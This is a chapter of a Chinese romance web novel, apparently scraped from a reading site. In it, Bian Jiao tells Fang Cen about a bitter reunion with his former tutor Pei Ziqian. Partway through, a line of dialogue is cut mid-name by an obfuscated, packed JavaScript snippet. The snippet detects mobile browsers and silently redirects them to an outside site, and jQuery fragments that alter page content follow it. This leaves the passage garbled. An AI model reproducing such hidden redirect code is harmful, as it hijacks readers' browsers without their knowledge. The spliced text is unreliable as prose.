讲完这个吻，车内极端平静。


    微风模糊边际，方岑这才看清卞皎今天穿了一件淡蓝色衬衫，他的手臂不知什么时候抱在胸前，微微颦眉，眸光里闪烁着一种方岑无法究明的情绪。


    “我喜欢裴子骞，这绝对不假，我也希望得到他的回应，甚至我也幻想过如果我们变得更亲密……但，我其实从未想通他为什么会…这么突然，而且是在我家。”


    “喜欢到底是什么？我以前想得很简单，就是看见一个人就想靠近，看见他的唇就想亲，我也知道我是怎么喜欢上裴子骞，但是，我不知道他为什么喜欢我。就像金湖，金湖理应不向任何人走来。”


    尤其是这些年。


    这些年与裴子骞分开，卞皎就常回想十六岁的时光。记忆无可避免在一遍又一遍的重复中变得模糊，增加噪点，往事难追，他已不能忆起许多细节，每每要回溯这个吻之前的相处，他能想起的，竟都只有自己对裴子骞的倨傲与骄矜。


    “我爸住院后的情况，你也清楚。”方岑看见卞皎又垂下了眸：“这些年我独立出来，才知道以前的自己有多么……想到马场那天，我竟然说花五百块买裴子骞一天，这样的话只有重现在自己身上的时候，才能意识到是多么羞辱。”


    他忽然抬起眼，转头看向方岑：“我与裴子骞分开后，一直觉得他恨我。”


    方岑重复：“恨你？”


    他不是很能明白恨这个字由何而来。


    卞皎没有点头回应他的疑惑，但却说：“今天你来包厢找我前，我曾和他两个人对话，事实证明，我的直觉没错——”


    “他问了我一个问题，那个问题，我也曾问过他。”


    根据玫瑰色回忆理论，人会美化过去的往事，以求给自己内心增添慰藉。直到今天与裴子骞再度重逢，卞皎才想起一段本不该忘却的记忆，因为此前从未回忆过，所以当这段记忆被裴子骞亲口提起，未经美化的对白便真实得可怖。


    卞皎第一次知道，原来他与裴子骞之间早已撕裂伤口，在更早的时候。


    “那是他来应聘家教的第一天，我很不待见他，”卞皎说，“甚至，可以说我们剑拔弩张。”


    那一天卞皎被郑怀远叫醒，看见裴子骞站在自己房门前。


    前一天刚与这个人发生过一段不太友好的对话，卞皎对他的印象只有，抽烟，蓄发，年级第一。此刻这位年级第一从梦中出现在眼前，好像证实生活就是由一幕幕诡异的巧合拼凑而成。时间过去太久，卞皎已不能记清当时的自己在想什么，总之郑怀远离开房间后，他一连问了对方好几个问句，而最后一个问句，十分越线。


    “五百一个小时，那么一节课就是一千块。”他兀自计算裴子骞的薪资，将他从上看到下，末了，刻意用一种极其暧昧的语气说：“一千块一节课，这么便宜——”


    “买你一晚，是不是也这个价？”


    -


    “人的大脑可能真的会欺骗自己，过去我沉湎于回忆之时，其实没有一刻会想到这天下午。现在想来多半是自己潜意识里也意识到这句话有多么不对，其实当时我也知道不对，但想这不过是一个玩笑，也许些微有些过分，却正是我想看到的。裴子骞这个人好像天然带着一把尖刃朝外的匕首，即使不说话也能让你畏却。”卞皎说：“当时我只想看到这把匕首因为我的玩笑动怒，却没想到五年过去，还有再见这把匕首的一天。”


    最后一次进入包厢前，卞皎怎么也没想到里面只有裴子骞一人，就像没有想到春游那天的傍晚，会有一个吻落在自己唇侧。


    但五年过去，他已无法再奢求一个吻了。


    裴子骞已取下曾经的眼镜，总挡在眼前的头发如今利落挽起，卞皎不合时宜地想这双眼睛还是这么好看，只是眼底再也没有曾经轻易可以得到的缱绻与纵容。


    他的指尖夹着一根香烟，他朝卞皎看来，凛冽、淡漠，像某一年落雪的金湖。


    “合约。”


    他用下巴轻点烟灰缸旁的那叠文件。


    在这之前，卞皎其实设想过无数次重逢。或许会在阳市街头，或许会在金湖湖畔，又或者在异国他乡，他从他身旁刚好走过，他停下叫住他的名字说好久不见。可一切真正展开之时才发现，原来重逢是在他从未设想的首都，原来他第一眼甚至都未能认出他来。


    第一次见面，裴子骞身边已有伴侣，他是走错的路人；第二次见面，裴子骞是桌上的宾客，他是侍酒的演员；第三次见面，终于只有他们两个人，他终于叫出他的名字，却没有说好久不见。


    “卞皎，”他的目光垂落在那双来取合约的手，“我以为你过很好。”


    那双手动作停滞，抬眼看他。


    卞皎终于敢抬眼。他终于可以看清五年岁月在这个人身上留下的痕迹。


    裴子骞的脸果真瘦了很多，他的鼻梁还是高挺，唇瓣线条也还是利落的，卞皎却将目光停留在他的眼眸处。他想这尊眉眼被时间雕琢得更加深邃了，眼尾锋利，却比以前多了好多疲倦。


    原来真的过去，好多好多年。


    “你过得好么？”裴子


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15289052|165050||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    骞的眼皮忽然抬起。


    卞皎匆匆移开视线。拾起文件，他后退了一步，他听见自己的声音说：“还好。”


    接着他听见裴子骞说：“是么，那我很失望。”


    抬起眼，对方的脸上没有一丝笑意，唇瓣平直成一条线。


    “我不想你过好。”


    卞皎以为自己听错，攥紧文件的手指无意识收紧：“什么？”


    裴子骞却站起来，平视他的眼睛，再度重复：“卞皎，我不想你过好。”


    他走近一步，几乎快到卞皎身前，就像过去每一次要拥抱前的靠近，只是这一次谁也没有伸出双手。他说：“你在迟疑什么，是不是觉得我这样说话，真的一点不给你颜面？”


    他从卞皎手中抽出那叠合约，卞皎就看见那叠塑料外壳包裹的合约被他轻轻拆开，好像风中飘零的纸张，一页一页掉落在地。终于，动作停留在某一页。


    “十万块一部电影，这么便宜，”他的声音听不出任何情绪，像一把淬毒的匕首，透过无数限次的回忆，将卞皎残存的幻想无情击碎，碾压磨粉，不留余地——


    “是不是买你一夜，也这么便宜？”


    -


    “我虽然设想过无数次重逢，但其实早就知道，我们如果再见，绝不可能体面。”卞皎说：“果然。”


    他讲述这件事时，表情竟然比此前都要平淡，方岑看着他，感觉这个结局实在太过突兀，像搬运盆栽时被刺中手心，第一瞬间的想法便是去寻找那根刺的来源。


    方岑说：“重逢时拿这件事反击，在我看来，他才真的不体面。这不过是小时候不懂事的玩笑，任何有度量的人都不至于因此记恨，恨这个字实在太重，我更倾向于他只是对你们的分开耿耿于怀。当然，我不知道你们当初分开的经过，也许你可以……”


    “就到这里。”


    卞皎的眸光闪动，在这段不短的谈话中，他头一次出现回避：“方岑，谢谢你听我讲这个无聊的故事，到这里已经足够。”


    他道别，拉开车门，好像随时准备下车，方岑就看见他的身影仓促撞进夜风之中。


    宿舍一盏窗户亮起。


    机械的洗漱后卞皎终于躺到床上，竟然比预想中的放松，甚至很快闭上眼睛。也许是因为他埋藏五年的心事终于被讲出，又也许是他终于在这一天确认了一件事情，总之在坠入梦的最后一秒前，他忽然听见自己的声音在心底说：


    不对，方岑说错——


    恨这个字确实很重，但他与裴子骞之间，并不是担不起。